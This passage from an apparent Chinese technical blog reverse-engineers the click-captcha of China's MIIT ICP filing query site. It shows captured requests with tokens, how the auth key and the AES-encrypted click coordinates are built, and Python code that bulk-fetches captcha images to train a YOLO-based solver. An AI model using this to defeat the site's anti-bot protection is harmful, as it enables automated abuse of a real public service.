u=1, i\nConnection: keep-alive\n\n{"token":"ca070c44c01b43668d4235efdc970ebc","secretKey":"384sPbNakbrFsF1r","clientUid":"point-52334cbc-cbe6-4a39-9bab-362f28c5531d","pointJson":"vRXxnZ1ujKsfNKB1AmvokXOxQwt1DMyQ9ZJyVLTkM6/9FW6R6EudYrEqGRoxFP+ugNRpqCu1S1hM2mzn4VbQyBAwpqCviXt8GV+57Jh6V3g="}\n'})}),"\n",(0,t.jsxs)(n.p,{children:["\u9a8c\u8bc1\u901a\u8fc7\u540e\u4f1a\u8fd4\u56de",(0,t.jsx)(n.code,{children:"sign"})]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:'HTTP/1.1 200 OK\nDate: Tue, 06 May 2025 01:53:54 GMT\nContent-Type: application/json\nConnection: keep-alive\nVary: Accept-Encoding\nVary: Accept-Encoding\nVary: Origin\nVary: Access-Control-Request-Method\nVary: Access-Control-Request-Headers\nAccess-Control-Allow-Origin: https://beian.miit.gov.cn\nAccess-Control-Expose-Headers: Access-Control-Allow-Origin, Access-Control-Allow-Credentials, rci\nAccess-Control-Allow-Credentials: true\nStrict-Transport-Security: max-age=15724800; includeSubDomains\nX-Via-JSL: 24061e4,-\nX-Cache: bypass\nContent-Length: 1113\n\n{"code":200,"msg":"\u64cd\u4f5c\u6210\u529f","params":{"sign":"eyJ0eXBlIjozLCJleHREYXRhIjp7InZhZnljb2RlX2ltYWdlX2tleSI6ImNhMDcwYzQ0YzAxYjQzNjY4ZDQyMzVlZmRjOTcwZWJjIn0sImUiOjE3NDY0OTY3MzQ3Mjd9.puSMuFYBv6rcSE7eTUCs_PLUobRSf8kQ76-XuZ40I_Y","smallImage":"iVBORw0KGgoAAAANSUhEUgAAAfQAAAAyCAYAAACqECmXAAACSElEQVR42u3dzWrrMBCA0bz/po+crgqlJJY0M5Kl5gTO4hbs4HDhi/XjPB5fzycAcDgfAgAIOgAg6ACAoAMAgg4Agg4ACDoAIOgAgKADgKADAIIOAAg6AHBf0H9es4/Z8Tp2fh8APjToV69ZQf99XPZVGdrK8wo6ANsHPRPVv8ftGvTq+Ao6AMuH3K/ik43q6LGzQ/jq/JEvNa3PRdABmB70d8PgVcPzPUPvOwW9530FHYB/EfRInCOBi4aw+pW9018xfQCAoDeDfhWeHReTCToAgj54F14Rpuqh6tVD+r1D9BbMATB9lXvrznL0jnhkId3dQc8GVdABOCbo0SHkE4M+GnpBB2CroPcErnquOfq+2Tn07Na1yFY/QQdgetBXLNQ6IeiR6xd0AI4LesXit7uG3O8M+l177QH4kFXurcj0BC/7DPjVQW9da+W+ekEHQNAFHQBBnxP0nr3rJwY9s3bg3TlGngvvPzAAoaBfzZu3olQR9JHV9TODXnFnLugAbB/01r+j29ZmBb1nv3tmhKB3Bf3M35YHQNBD8749QZ8xNF05n927Na5qiF7QAdhqDj276KsnnrOCnn2KXcWceuaLFQCCno559CdVI6GrCurVnf/V30evuyrmgg7A0qBXxWh10DOjBJkHzGS/4AAg6CVbrlpD1tFHxlacOztE3vsjMZk4j5xbzAE4Luijq8VnBD0b5uhohZgDsHxRHAAg6ACAoAOAoPsQAEDQAQBBBwAEHQAQdAAQdABA0AEAQQcABB0ABB0A2Mk3SUNFSvkMxFcAAAAASUVORK5CYII="},"success":true}\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u7b2c\u4e09\u6b21\u8bf7\u6c42\uff0c\u5c31\u662f\u67e5\u8be2\u4e86\uff0c\u5e26\u7740\u7b2c\u4e8c\u6b21\u8bf7\u6c42\u7684sign\uff0c\u8fdb\u884c\u8bf7\u6c42"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:'POST /icpproject_query/api/icpAbbreviateInfo/queryByCondition HTTP/1.1\nHost: hlwicpfwc.miit.gov.cn\nCookie: __jsluid_s=691280173f5789603afe9cfef8e7fa8f\nContent-Length: 67\nSec-Ch-Ua-Platform: "macOS"\nSign: eyJ0eXBlIjozLCJleHREYXRhIjp7InZhZnljb2RlX2ltYWdlX2tleSI6ImNhMDcwYzQ0YzAxYjQzNjY4ZDQyMzVlZmRjOTcwZWJjIn0sImUiOjE3NDY0OTY3MzQ3Mjd9.puSMuFYBv6rcSE7eTUCs_PLUobRSf8kQ76-XuZ40I_Y\nSec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"\nSec-Ch-Ua-Mobile: ?0\nUuid: ca070c44c01b43668d4235efdc970ebc\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: application/json, text/plain, */*\nContent-Type: application/json\nToken: eyJ0eXBlIjoxLCJ1IjoiMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgzMjYyN2I0ZjYiLCJzIjoxNzQ2NDk2MjE5ODM3LCJlIjoxNzQ2NDk2Njk5ODM3fQ.SPzNP8Gp4xyZA2zdmJ0Dhr8pYai_Xr2swMDRXkQLybQ\nOrigin: https://beian.miit.gov.cn\nSec-Fetch-Site: same-site\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://beian.miit.gov.cn/\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\nPriority: u=1, i\nConnection: keep-alive\n\n{"pageNum":"","pageSize":"","unitName":"baidu.com","serviceType":1}\n'})}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-http",children:'HTTP/1.1 200 OK\nDate: Tue, 06 May 2025 01:53:54 GMT\nContent-Type: application/json\nConnection: keep-alive\nVary: Accept-Encoding\nVary: Accept-Encoding\nVary: Origin\nVary: Access-Control-Request-Method\nVary: Access-Control-Request-Headers\nAccess-Control-Allow-Origin: https://beian.miit.gov.cn\nAccess-Control-Expose-Headers: Access-Control-Allow-Origin, Access-Control-Allow-Credentials, rci\nAccess-Control-Allow-Credentials: true\nrci: 13b2f3eed0d64d9ba0f32d7b3c5e3149\nStrict-Transport-Security: max-age=15724800; includeSubDomains\nX-Via-JSL: 24061e4,-\nX-Cache: bypass\nContent-Length: 647\n\n{"code":200,"msg":"\u64cd\u4f5c\u6210\u529f","params":{"endRow":0,"firstPage":1,"hasNextPage":false,"hasPreviousPage":false,"isFirstPage":true,"isLastPage":true,"lastPage":1,"list":[{"contentTypeName":"","domain":"baidu.com","domainId":10000245113,"leaderName":"","limitAccess":"\u5426","mainId":282751,"mainLicence":"\u4eacICP\u8bc1030173\u53f7","natureName":"\u4f01\u4e1a","serviceId":282911,"serviceLicence":"\u4eacICP\u8bc1030173\u53f7-1","unitName":"\u5317\u4eac\u767e\u5ea6\u7f51\u8baf\u79d1\u6280\u6709\u9650\u516c\u53f8","updateRecordTime":"2019-05-16 16:06:21"}],"navigatePages":8,"navigatepageNums":[1],"nextPage":1,"pageNum":1,"pageSize":10,"pages":1,"prePage":1,"size":1,"startRow":0,"total":1},"success":true}\n'})}),"\n",(0,t.jsx)(n.h2,{id:"\u53c2\u6570\u5206\u6790",children:"\u53c2\u6570\u5206\u6790"}),"\n",(0,t.jsx)(n.h3,{id:"token",children:"Token"}),"\n",(0,t.jsxs)(n.p,{children:["\u6211\u4eec\u9996\u5148\u5206\u6790",(0,t.jsx)(n.code,{children:"Token"}),"\u4ece\u54ea\u91cc\u6765\u7684\uff0c\u53ef\u4ee5\u4ece\u4e0a\u9762\u7684\u4e09\u6b21\u8bf7\u6c42\u53d1\u73b0\uff0c\u6bcf\u6b21\u8bf7\u6c42\u90fd\u643a\u5e26\u4e86Token \u90a3\u4e48 token \u4ece\u54ea\u91cc\u6765\u5462\uff1f"]}),"\n",(0,t.jsx)(n.p,{children:"\u6211\u4eec\u5148\u6e05\u7406\u4e00\u904d\u6d4f\u89c8\u5668\uff0c\u5e76\u5237\u65b0"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506103745329",src:i(69078).A+"",width:"2312",height:"1536"})}),"\n",(0,t.jsxs)(n.p,{children:["\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u7684\u8bf7\u6c42\u5305\uff0c\u662f\u7528\u6765\u83b7\u53d6",(0,t.jsx)(n.code,{children:"Token"}),"\u7684"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506105052785",src:i(91747).A+"",width:"2614",height:"1448"})}),"\n",(0,t.jsx)(n.p,{children:"\u5206\u6790\u4e00\u4e0b\u524d\u7aef\u4ee3\u7801"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506110308731",src:i(69478).A+"",width:"2972",height:"1468"})}),"\n",(0,t.jsx)(n.p,{children:"\u8ddf\u8fdb\u8c03\u8bd5"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506110411706",src:i(70199).A+"",width:"2528",height:"1546"})}),"\n",(0,t.jsxs)(n.p,{children:["\u8fd9\u4e2aauth \u5c31\u662f ",(0,t.jsx)(n.code,{children:"testtest+\u65f6\u95f4\u6233"}),"\u7684md5"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506110856409",src:i(49862).A+"",width:"1700",height:"582"})}),"\n",(0,t.jsx)(n.h3,{id:"pointjson",children:"pointJson"}),"\n",(0,t.jsxs)(n.p,{children:["\u90a3\u4e48\u63a5\u4e0b\u6765\uff0c\u67e5\u770b\u7b2c\u4e8c\u6b21\u8bf7\u6c42\u7684",(0,t.jsx)(n.code,{children:"pointJson"}),"\u662f\u5982\u4f55\u6765\u7684"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506114618926",src:i(45338).A+"",width:"2872",height:"1478"})}),"\n",(0,t.jsxs)(n.p,{children:["\u8fd9\u4e2a ",(0,t.jsx)(n.code,{children:"checkPointArr"}),"\u5c31\u662f\u8fd94\u4e2a\u70b9"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506114656507",src:i(2755).A+"",width:"2762",height:"1538"})}),"\n",(0,t.jsxs)(n.p,{children:["\u8ddf\u8fdb\u8c03\u8bd5\u53d1\u73b0\u662f ",(0,t.jsx)(n.code,{children:"AES Pkcs7"}),"\u586b\u5145\u52a0\u5bc6"]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506131510200",src:i(14187).A+"",width:"1818",height:"568"})}),"\n",(0,t.jsxs)(n.p,{children:["\u90a3\u4e48\u73b0\u5728\u5173\u952e\u7684\u6765\u4e86\uff0c",(0,t.jsx)(n.code,{children:"checkPointArr"})," \u8fd94\u4e2a\u70b9\u4ece\u54ea\u91cc\u6765\uff0c\u5c31\u662f\u6211\u4eec\u63a5\u4e0b\u6765\u7684\u91cd\u70b9\u4e86"]}),"\n",(0,t.jsx)(n.h3,{id:"checkpointarr",children:"checkPointArr"}),"\n",(0,t.jsx)(n.p,{children:"\u53ef\u4ee5\u770b\u5230\u4ed6\u662f\u83b7\u53d6\u7684\u56fe\u7247\u5750\u6807\uff0c\u5e76\u6dfb\u52a0\u753b\u5706"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506134038917",src:i(20604).A+"",width:"2568",height:"1282"})}),"\n",(0,t.jsx)(n.p,{children:"\u6dfb\u52a0\u540e\uff0c\u53c8\u8fdb\u884c\u4e86\u753b\u5706\u7684\u64cd\u4f5c"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506134346670",src:i(55982).A+"",width:"1600",height:"280"})}),"\n",(0,t.jsxs)(n.p,{children:["4\u4e2a\u70b9\u9009\u5b8c\u540e\uff0c\u89e6\u53d1 ",(0,t.jsx)(n.code,{children:"checkImgPoint"})]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506134439536",src:i(11944).A+"",width:"1848",height:"432"})}),"\n",(0,t.jsx)(n.p,{children:"\u6211\u4eec\u8ddf\u8fdb\u8c03\u8bd5\uff0c\u53d1\u73b0\u5c31\u662f\u8bf7\u6c42\u51fd\u6570"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506134509953",src:i(88907).A+"",width:"1490",height:"414"})}),"\n",(0,t.jsx)(n.p,{children:"\u6240\u4ee5\uff0c\u6211\u4eec\u8981\u5b9e\u73b0\u9a8c\u8bc1\u7801\u7684\u81ea\u52a8\u5316\uff0c\u5c31\u8981\u8ba9\u811a\u672c\u77e5\u9053\u8fd94\u4e2a\u70b9\u7684\u4f4d\u7f6e\uff0c\u90a3\u4e48\u8be5\u600e\u4e48\u505a\u5462\uff1f"}),"\n",(0,t.jsx)(n.h2,{id:"\u70b9\u9009\u9a8c\u8bc1\u7801\u7684\u81ea\u52a8\u5316",children:"\u70b9\u9009\u9a8c\u8bc1\u7801\u7684\u81ea\u52a8\u5316"}),"\n",(0,t.jsx)(n.h3,{id:"\u8ba9\u6a21\u578b\u5b66\u4f1a\u70b9\u5b57",children:"\u8ba9\u6a21\u578b\u5b66\u4f1a\u70b9\u5b57"}),"\n",(0,t.jsxs)(n.p,{children:["\u70b9\u9009\u9a8c\u8bc1\u7801\uff0c\u4f20\u7edf\u65b9\u6cd5\u5927\u591a\u662f\u4eba\u773c\u81ea\u5df1\u770b\u56fe\u3001\u81ea\u5df1\u9009\uff0c\u4f46\u6211\u4eec\u4eca\u5929\u7684\u76ee\u6807\u5f88\u660e\u786e\uff1a\u8ba9\u673a\u5668\u505a\u8fd9\u4e9b\u4e8b\u2014\u2014",(0,t.jsx)(n.strong,{children:"\u81ea\u52a8\u4ece\u56fe\u7247\u4e2d\u8bc6\u522b\u6c49\u5b57\uff0c\u6309\u987a\u5e8f\u70b9\u51fb"}),"\u3002\u6574\u4e2a\u8fc7\u7a0b\u5206\u4e3a\u4e24\u6b65\uff1a",(0,t.jsx)(n.strong,{children:"\u8bc6\u522b\u56fe\u4e2d\u7684\u6c49\u5b57\u4f4d\u7f6e"}),"\uff0c\u7136\u540e\u6839\u636e\u63d0\u4f9b\u7684\u63d0\u793a\u5b57\uff0c\u6309\u6b63\u786e\u987a\u5e8f\u70b9\u51fb\u3002"]}),"\n",(0,t.jsx)(n.h4,{id:"\u4e24\u6b65\u8d70\u4ece\u56fe\u50cf\u5230\u70b9\u51fb",children:"\u4e24\u6b65\u8d70\uff1a\u4ece\u56fe\u50cf\u5230\u70b9\u51fb"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsxs)(n.li,{children:[(0,t.jsx)(n.strong,{children:"\u56fe\u50cf\u8bc6\u522b\uff1a"})," \u9996\u5148\uff0c\u6a21\u578b\u9700\u8981\u8bc6\u522b\u51fa\u56fe\u4e2d\u7684 5 \u4e2a\u6c49\u5b57\u3002\u4e5f\u5c31\u662f\u4ece\u6574\u4e2a\u9a8c\u8bc1\u7801\u56fe\u7247\u4e2d\u63d0\u53d6\u51fa",(0,t.jsx)(n.strong,{children:"\u6bcf\u4e2a\u5b57\u7684\u5750\u6807"}),"\uff0c\u8fd9\u4e00\u6b65\u5c31\u50cf\u8ba9\u6a21\u578b\u5177\u5907\u201c\u770b\u56fe\u201d\u7684\u80fd\u529b\uff0c\u51c6\u786e\u627e\u51fa\u6bcf\u4e2a\u5b57\u7684\u4f4d\u7f6e\u3002"]}),"\n",(0,t.jsxs)(n.li,{children:[(0,t.jsx)(n.strong,{children:"\u5b57\u5339\u914d\u4e0e\u6392\u5e8f\uff1a"})," \u7136\u540e\uff0c\u6a21\u578b\u6839\u636e",(0,t.jsx)(n.strong,{children:"\u76ee\u6807\u63d0\u793a"}),"\uff0c\u5224\u65ad\u56fe\u4e2d\u7684\u54ea\u4e2a\u5b57\u662f\u6b63\u786e\u7684\uff0c\u5e76\u6309\u987a\u5e8f\u7ed9\u51fa\u70b9\u51fb\u987a\u5e8f\u3002\u8fd9\u5c31\u76f8\u5f53\u4e8e\u201c\u914d\u5bf9\u201d\u5de5\u4f5c\uff0c\u6a21\u578b\u8981\u80fd\u591f\u5224\u65ad\u6bcf\u4e2a\u5b57\u548c\u63d0\u793a\u5b57\u7684\u76f8\u4f3c\u5ea6\uff0c\u5e76\u6309\u6b63\u786e\u7684\u987a\u5e8f\u8fdb\u884c\u6392\u5217\u3002"]}),"\n"]}),"\n",(0,t.jsxs)(n.p,{children:["\u770b\u8d77\u6765\u8fd9\u5f88\u7b80\u5355\uff0c\u4f46\u5b9e\u9645\u4e0a\uff0c",(0,t.jsx)(n.strong,{children:"\u8fd9\u4e24\u6b65\u53ef\u4e0d\u7b80\u5355"}),"\uff0c\u5c24\u5176\u662f\u56fe\u4e2d\u7684\u5e72\u6270\u4fe1\u606f\u548c\u5b57\u4f53\u7684\u53d8\u5316\uff0c\u7ed9\u4e86\u4f20\u7edf\u65b9\u6cd5\u4e0d\u5c0f\u7684\u6311\u6218\u3002\u6240\u4ee5\uff0c\u6211\u4eec\u9700\u8981\u501f\u52a9\u673a\u5668\u5b66\u4e60\uff0c\u5c24\u5176\u662f\u6df1\u5ea6\u5b66\u4e60\uff0c\u6765\u63d0\u9ad8\u8bc6\u522b\u7684\u51c6\u786e\u6027\u3002"]}),"\n",(0,t.jsxs)(n.p,{children:["\u63a5\u4e0b\u6765\u7684\u6b65\u9aa4\u5c06\u8be6\u7ec6\u4ecb\u7ecd\u5982\u4f55\u5229\u7528 YOLOv5 \u6765\u8bc6\u522b\u56fe\u4e2d\u7684\u5b57\uff0c\u5e76\u4f7f\u7528\u5b6a\u751f\u7f51\u7edc\u8fdb\u884c\u5b57\u5339\u914d\u3002\u6700\u7ec8\uff0c\u6211\u4eec\u4f1a\u628a\u8fd9\u4e9b\u4fe1\u606f\u8f6c\u5316\u6210\u53ef\u4ee5\u63d0\u4ea4\u7684 ",(0,t.jsx)(n.code,{children:"pointson"})," \u53c2\u6570\u3002"]}),"\n",(0,t.jsx)(n.h3,{id:"\u5148\u628a\u5b57\u62a0\u51fa\u6765\u63d0\u53d6\u6bcf\u4e2a\u5b57\u7684\u4f4d\u7f6e",children:"\u5148\u628a\u5b57\u62a0\u51fa\u6765\uff0c\u63d0\u53d6\u6bcf\u4e2a\u5b57\u7684\u4f4d\u7f6e"}),"\n",(0,t.jsxs)(n.p,{children:["\u9a8c\u8bc1\u7801\u4e2d\u7684 5 \u4e2a\u5b57\u9700\u8981\u901a\u8fc7",(0,t.jsx)(n.strong,{children:"\u51c6\u786e\u7684\u56fe\u50cf\u5904\u7406"}),"\u6280\u672f\u63d0\u53d6\u51fa\u6765\uff0c\u624d\u80fd\u8fdb\u4e00\u6b65\u5904\u7406\u5e76\u8fdb\u884c\u70b9\u51fb\u3002\u4e3a\u4e86\u5b9e\u73b0\u8fd9\u4e2a\u76ee\u6807\uff0c\u6211\u4eec\u5c06\u4f7f\u7528 ",(0,t.jsx)(n.strong,{children:"YOLOv11"})," \u6a21\u578b\u6765\u68c0\u6d4b\u6bcf\u4e2a\u6c49\u5b57\u7684\u4f4d\u7f6e\uff0c",(0,t.jsx)(n.strong,{children:"YOLOv11"})," \u662f YOLO \u7cfb\u5217\u7684\u6700\u65b0\u7248\u672c\uff0c\u76f8\u6bd4\u4e4b\u524d\u7684\u7248\u672c\u5728\u7cbe\u5ea6\u548c\u6548\u7387\u4e0a\u6709\u4e86\u8fdb\u4e00\u6b65\u63d0\u5347\u3002"]}),"\n",(0,t.jsxs)(n.p,{children:[(0,t.jsx)(n.strong,{children:"YOLOv11"})," \u662f\u6700\u65b0\u7684\u76ee\u6807\u68c0\u6d4b\u6a21\u578b\uff0c\u76f8\u6bd4 YOLOv5 \u548c\u5176\u4ed6\u7248\u672c\uff0c\u5b83\u5728\u591a\u79cd\u6807\u51c6\u6570\u636e\u96c6\u4e0a\u90fd\u6709\u66f4\u5f3a\u7684\u8868\u73b0\uff0c\u80fd\u591f\u5b9e\u73b0",(0,t.jsx)(n.strong,{children:"\u66f4\u5feb\u7684\u63a8\u7406\u901f\u5ea6"}),"\u548c",(0,t.jsx)(n.strong,{children:"\u66f4\u9ad8\u7684\u7cbe\u5ea6"}),"\u3002\u5bf9\u4e8e\u9a8c\u8bc1\u7801\u56fe\u7247\u6765\u8bf4\uff0c\u6211\u4eec\u5c06\u7528 YOLOv11 \u6765",(0,t.jsx)(n.strong,{children:"\u68c0\u6d4b\u6c49\u5b57\u7684\u5750\u6807"}),"\uff0c\u4e3a\u540e\u7eed\u7684\u70b9\u51fb\u987a\u5e8f\u5339\u914d\u6253\u4e0b\u57fa\u7840\u3002"]}),"\n",(0,t.jsx)(n.h4,{id:"\u6570\u636e\u96c6\u51c6\u5907",children:(0,t.jsx)(n.strong,{children:"\u6570\u636e\u96c6\u51c6\u5907"})}),"\n",(0,t.jsxs)(n.p,{children:["\u9996\u5148\uff0c\u6211\u4eec\u9700\u8981\u51c6\u5907\u4e00\u4e2a\u5305\u542b\u5927\u91cf\u9a8c\u8bc1\u7801\u56fe\u50cf\u548c\u5bf9\u5e94\u6807\u6ce8\u6570\u636e\u7684\u8bad\u7ec3\u96c6\u3002\u6807\u6ce8\u7684\u5185\u5bb9\u662f\u6bcf\u4e2a\u6c49\u5b57\u7684\u77e9\u5f62\u6846\uff0c\u6307\u793a\u5176\u5728\u56fe\u50cf\u4e2d\u7684\u4f4d\u7f6e\u3002\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u50cf ",(0,t.jsx)(n.code,{children:"labelImg"})," \u8fd9\u6837\u7684\u5de5\u5177\u8fdb\u884c\u624b\u52a8\u6807\u6ce8\uff0c\u7ed9\u6bcf\u4e2a\u6c49\u5b57\u6253\u4e0a\u6807\u7b7e\u5e76\u8bb0\u5f55\u5176\u5750\u6807\u3002"]}),"\n",(0,t.jsx)(n.p,{children:"\u4f7f\u7528\u4e0b\u9762\u4ee3\u7801"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:'def getImage(token):\n headers = {\n "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",\n "Referer": "https://beian.miit.gov.cn/",\n "Token": token,\n "Connection": "keep-alive",\n "Accept": "application/json, text/plain, */*",\n "Accept-Encoding": "gzip, deflate, br",\n "Accept-Language": "zh-CN,zh;q=0.9",\n "Origin": "https://beian.miit.gov.cn"\n }\n payload = {\n "clientUid": "point-" + str(uuid.uuid4())\n }\n try:\n resp = requests.post("https://hlwicpfwc.miit.gov.cn/icpproject_query/api/image/getCheckImagePoint",\n headers=headers, json=payload, verify=False).json()\n return resp["params"], payload["clientUid"]\n except Exception:\n time.sleep(5)\n resp = requests.post("https://hlwicpfwc.miit.gov.cn/icpproject_query/api/image/getCheckImagePoint",\n headers=headers, json=payload, verify=False).json()\n return resp["params"], payload["clientUid"]\n\ndef auth():\n t = str(round(time.time()))\n data = {\n "authKey": hashlib.md5(("testtest" + t).encode()).hexdigest(),\n "timeStamp": t\n }\n headers = {\n "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",\n "Referer": "https://beian.miit.gov.cn/",\n "Content-Type": "application/x-www-form-urlencoded",\n "Connection": "keep-alive",\n "Accept": "application/json, text/plain, */*",\n "Accept-Encoding": "gzip, deflate, br",\n "Accept-Language": "zh-CN,zh;q=0.9",\n "Origin": "https://beian.miit.gov.cn"\n }\n try:\n resp = requests.post("https://hlwicpfwc.miit.gov.cn/icpproject_query/api/auth", headers=headers,\n data=parse.urlencode(data), verify=False).text\n return json.loads(resp)["params"]["bussiness"]\n except Exception:\n time.sleep(5)\n resp = requests.post("https://hlwicpfwc.miit.gov.cn/icpproject_query/api/auth", headers=headers,\n data=parse.urlencode(data), verify=False).text\n return json.loads(resp)["params"]["bussiness"]\n\ndef get_origin_data(save_dir="origin_data", max_images=100):\n """\n \u83b7\u53d6\u9a8c\u8bc1\u7801\u56fe\u7247\u5e76\u4fdd\u5b58\u5230\u6307\u5b9a\u76ee\u5f55\u3002\u5982\u679c\u53d1\u751f\u5f02\u5e38\uff0c\u4f1a\u91cd\u65b0\u5c1d\u8bd5\u83b7\u53d6\u5269\u4f59\u6570\u91cf\u7684\u56fe\u7247\u3002\n\n :param save_dir: \u56fe\u7247\u4fdd\u5b58\u7684\u76ee\u5f55\uff0c\u9ed8\u8ba4\u4e3a "data/img/big/"\n :param max_images: \u6700\u5927\u4fdd\u5b58\u7684\u56fe\u7247\u6570\u91cf\uff0c\u9ed8\u8ba4\u4e3a 100\n """\n token = auth()\n time.sleep(0.1)\n\n # \u786e\u4fdd\u4fdd\u5b58\u76ee\u5f55\u5b58\u5728\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n\n # \u8bb0\u5f55\u5df2\u83b7\u53d6\u7684\u56fe\u7247\u6570\u91cf\n images_saved = 0\n\n while images_saved < max_images:\n try:\n for i in range(images_saved, max_images): # \u83b7\u53d6\u6307\u5b9a\u6570\u91cf\u7684\u56fe\u7247\n print(f"\u6b63\u5728\u83b7\u53d6\u7b2c{i + 1}\u5f20\u9a8c\u8bc1\u7801") # i \u4ece 0 \u5f00\u59cb\uff0c\u6240\u4ee5\u663e\u793a\u4e3a i + 1\n\n # \u6bcf5\u6b21\u91cd\u65b0\u83b7\u53d6token\n if i % 5 == 0:\n token = auth()\n time.sleep(0.1)\n\n params, clientUid = getImage(token) # \u83b7\u53d6\u56fe\u7247\u4fe1\u606f\n # \u5982\u679cparams\u4e3a\u7a7a\u6216\u5f02\u5e38\uff0c\u7ee7\u7eed\n if not params:\n raise ValueError("\u83b7\u53d6\u9a8c\u8bc1\u7801\u6570\u636e\u5931\u8d25\uff0c\u91cd\u65b0\u5c1d\u8bd5...")\n\n # \u751f\u6210\u968f\u673a\u6587\u4ef6\u540d\n filename = random_filename() + ".jpg"\n save_path = os.path.join(save_dir, filename)\n\n # \u4fdd\u5b58\u56fe\u7247\n with open(save_path, "wb") as f:\n f.write(base64.b64decode(params["bigImage"]))\n\n print(f"\u7b2c{i + 1}\u5f20\u9a8c\u8bc1\u7801\u5df2\u4fdd\u5b58\u4e3a {filename}")\n images_saved += 1 # \u589e\u52a0\u5df2\u4fdd\u5b58\u7684\u56fe\u7247\u6570\u91cf\n time.sleep(1.5)\n\n except Exception as e:\n print(f"\u9519\u8bef: {e}\uff0c\u6b63\u5728\u91cd\u65b0\u5c1d\u8bd5\u83b7\u53d6\u5269\u4f59\u7684 {max_images - images_saved} \u5f20\u9a8c\u8bc1\u7801")\n # \u5982\u679c\u53d1\u751f\u5f02\u5e38\uff0c\u7ee7\u7eed\u4ece\u5269\u4f59\u56fe\u7247\u6570\u5f00\u59cb\n time.sleep(2) # \u7b49\u5f85\u4e00\u4f1a\u540e\u91cd\u65b0\u5c1d\u8bd5\n continue\n'})}),"\n",(0,t.jsxs)(n.p,{children:["\u8bb2\u5f97\u5230\u7684\u56fe\u7247\u96c6\uff0c\u8fdb\u884c\u624b\u52a8\u6807\u6ce8 \u4f7f\u7528 ",(0,t.jsx)(n.code,{children:"labelImg"})]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20250506140354189",src:i(88747).A+"",width:"3016",height:"1610"})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u91cc\u6709\u51e0\u4e2a\u5feb\u6377\u952e"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:"W\uff1a\u753b\u6846"}),"\n",(0,t.jsx)(n.li,{children:"A\uff1a\u4e0a\u4e00\u5f20"}),"\n",(0,t.jsx)(n.li,{children:"D\uff1a\u4e00\u4e0b\u6da8"}),"\n",(0,t.jsx)(n.li,{children:"command + v\uff1a\u590d\u5236\u4e0a\u4e00\u5f20\u7684\u753b\u6846"}),"\n"]}),"\n",(0,t.jsx)(n.p,{children:"\u5927\u6982\u6807\u6ce8 200-300\u5f20\u56fe\u7247\u5373\u53ef"}),"\n",(0,t.jsx)(n.h4,{id:"\u8bad\u7ec3-yolov11",children:"\u8bad\u7ec3 YOLOv11"}),"\n",(0,t.jsx)(n.p,{children:"\u5229\u7528\u6807\u6ce8\u597d\u7684\u6570\u636e\u96c6\u6765\u8bad\u7ec3 YOLOv11 \u6a21\u578b"}),"\n",(0,t.jsxs)(n.p,{children:["\u9996\u5148\u5bf9\u539f\u59cb\u56fe\u7247\u8fdb\u884c\u62c6\u5206\uff0c\u8fdb\u884c",(0,t.jsx)(n.code,{children:"8:2"})," \u8fdb\u884c\u624d\u5206\u4e3a ",(0,t.jsx)(n.code,{children:"train"}),"\u548c",(0,t.jsx)(n.code,{children:"val"})," \u76ee\u5f55"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:'def split(p=os.path.join("datasets", "all")):\n dataset_path = p\n images_path = os.path.join(dataset_path, "images")\n labels_path = os.path.join(dataset_path, "labels")\n\n output_dir = "datasets" # \u8f93\u51fa\u7684\u62c6\u5206\u76ee\u5f55\n train_ratio = 0.8\n val_ratio = 0.2\n # test_ratio = 0.1\n\n # \u786e\u4fdd\u6bd4\u4f8b\u52a0\u548c\u4e3a1\n # assert train_ratio + val_ratio == 1.0\n\n # \u521b\u5efa\u8f93\u51fa\u76ee\u5f55\n for split in ["train", "val"]:\n os.makedirs(os.path.join(output_dir, split, "images"), exist_ok=True)\n os.makedirs(os.path.join(output_dir, split, "labels"), exist_ok=True)\n\n # 